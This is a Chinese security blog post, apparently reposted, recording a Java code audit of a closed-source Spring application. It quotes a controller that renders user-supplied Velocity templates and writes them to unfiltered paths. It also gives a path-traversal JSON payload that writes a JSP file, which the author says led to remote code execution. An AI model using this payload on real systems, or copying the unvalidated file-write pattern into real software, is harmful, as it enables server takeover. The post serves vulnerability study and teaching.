文章总结: 该文档记录了一次针对闭源JAVA源码的代码审计过程,发现并复现了命令执行漏洞。作者通过分析Spring框架特征,绕过Shiro鉴权缺失问题,在Controller中定位到存在SSTI模板注入的任意文件写入漏洞。通过构造特定payload成功实现JSP文件写入并执行系统命令,验证了RCE漏洞的有效性。 综合评分: 82 文章分类: 代码审计,漏洞分析,实战经验,WEB安全,安全开发
JAVA代码审计 | 记录第一次命令执行漏洞
WK安全
2026年4月2日 13:39 江苏
在小说阅读器读本章
去阅读
以下文章来源于进击安全 ,作者学员投稿
进击安全 .
主要分享一些个人实战经验,以及漏洞复现,代码审计,等等方面的文章,欢迎大家关注我的公众号呀,可以投稿哦,有稿费的哦,菜鸟路过~~~
免责申明 本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。
一、前言
好朋友给了一份闭源的JAVA源码,今天来审计审计,正好检验在小朋友师傅那里学习的如何。
二、框架分析
在拿到源码之后发现全部为jar包类型的文件,这里靠向Spring方向,进行搜索特征他的路由相关例如:@PostMapping等信息,或者@Controller均可,或者直接搜索Servlet的特征例如:生命周期的方法:service以及doget或者dopost等,逐一排除。
搜索后发现确实是Spring类型的源码,那么开始打开小朋友师傅的课件,审计开始审计这套源码。
三、鉴权分析
因为当时给到了源码之后已经是3G左右,过于庞大,在寻找鉴权的时候发现部分源码是丢失状态,或者不知道跑哪里去了,只是隐隐约约的知道为shiro鉴权,因为我搜到了它。
然后再去寻找对应的拦截路径相关的鉴权处理并未找到,询问过后发现确实为部分源码丢失造成的,不过这个也好解决,因为我们有网站对应的Controller路由信息,直接AI提取路由跑一下就可以一眼看出来哪些是拦截的哪些不是拦截的。
这个命令不错,可以记下来:
ounter(linefind . -name "*.java" | xargs grep -l "@RequestMapping\|@GetMapping\|@PostMapping\|@PutMapping\|@DeleteMapping\|@PatchMapping" 2>/dev/null | head -100
(有AI可以提升很大的审计效率,要是按照以前的办法,现在就要自己手搓一些脚本还要各种调试了)
然后就是跑了一圈也没发现存在302等信息,随便从路由当中复制一个Controller都可以访问,那这就好办了,下一步开始审计漏洞。
四、RCE漏洞审计
最终在某一个Controller当中发现存在一个任意文件写入
首先传递参数为vo类,通过vo类的get方法来获取对应的具体参数名。
在这里可以传递四个参数,分别为template、path、fileName、tempext四个参数。
并且四个参数分别path决定路径:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line@PostMapping({"/createHtml1"}) @ResponseBody @ApiOperation("发布") public JsonResult createHtml1(@RequestBody CreateHtmlVo vo) { String path = this.configModelService.getFrontPath() + File.separator + "pub" + File.separator + "html" + vo.getPath(); Velocity.init(); VelocityContext context = new VelocityContext(); StringWriter stringWriter = new StringWriter(); Velocity.evaluate(context, stringWriter, "mystring", vo.getTemplate()); File file = new File(path); file.mkdirs(); file = new File(path + File.separator + vo.getFileName() + "." + vo.getTempext()); InputStream inputStream = null; try { inputStream = new ByteArrayInputStream(stringWriter.toString().getBytes("UTF-8")); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } inputstreamtofile(inputStream, file); Map<String, String> map = new HashMap(); map.put("path", "/pub/html" + vo.getPath() + "/" + vo.getFileName() + "." + vo.getTempext()); return this.renderSuccess(map); }
其中fileName决定相关文件名但是不包含后缀,后缀通过tempext来决定,之后直接进行写入到文件当中,对传入的参数未作任何过滤,那么我们通过path决定路径,fileName决定文件名称,tempext决定后缀文件类型,那么文件控制如下:
这里其实就是SSTI进行渲染模板的操作,渲染完之后在进行写入,然而渲染的内容就是我们的参数Template,当然这也说明我们不只是可以进行任意文件写入,还可以直接打模板漏洞。
五、漏洞复现
构造一下payload:
{ "path": "/../../../upload/headimg", "fileName": "test", "tempext": "jsp", "template": "<%out.println(\"Hello World\");%>"}
成功写入,进行访问。
这里成功进行RCE,同样在这里进行宣传html文件进行模板注入也是可以的,但是RCE我们只需要一个就够了,目的在于学习哈哈哈。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:WK安全 《JAVA代码审计 | 记录第一次命令执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论